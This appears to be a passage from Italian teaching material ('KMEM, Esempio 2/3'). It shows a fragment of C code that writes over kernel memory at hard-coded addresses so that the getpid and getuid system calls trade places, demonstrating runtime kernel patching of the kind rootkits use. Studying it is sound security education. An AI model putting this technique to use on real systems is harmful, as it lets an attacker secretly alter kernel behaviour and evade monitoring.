KMEM
Esempio 2/3
  if(lseek(fd, 0xc01245e0, SEEK_SET)==-1) return 1;
  if(write(fd,&buff_getpid, 16)!=16) return 1;

  printf("PID %d UID %d\n",getpid(), getuid());

  if(lseek(fd, 0xc01245b0, SEEK_SET)==-1) return 1;
  if(write(fd,buff_getpid, 16)!=16) return 1;

  if(lseek(fd, 0xc01245e0, SEEK_SET)==-1) return 1;
  if(write(fd,&buff_getuid, 16)!=16) return 1;

  printf("PID %d UID %d\n",getpid(), getuid());
  close(fd);
}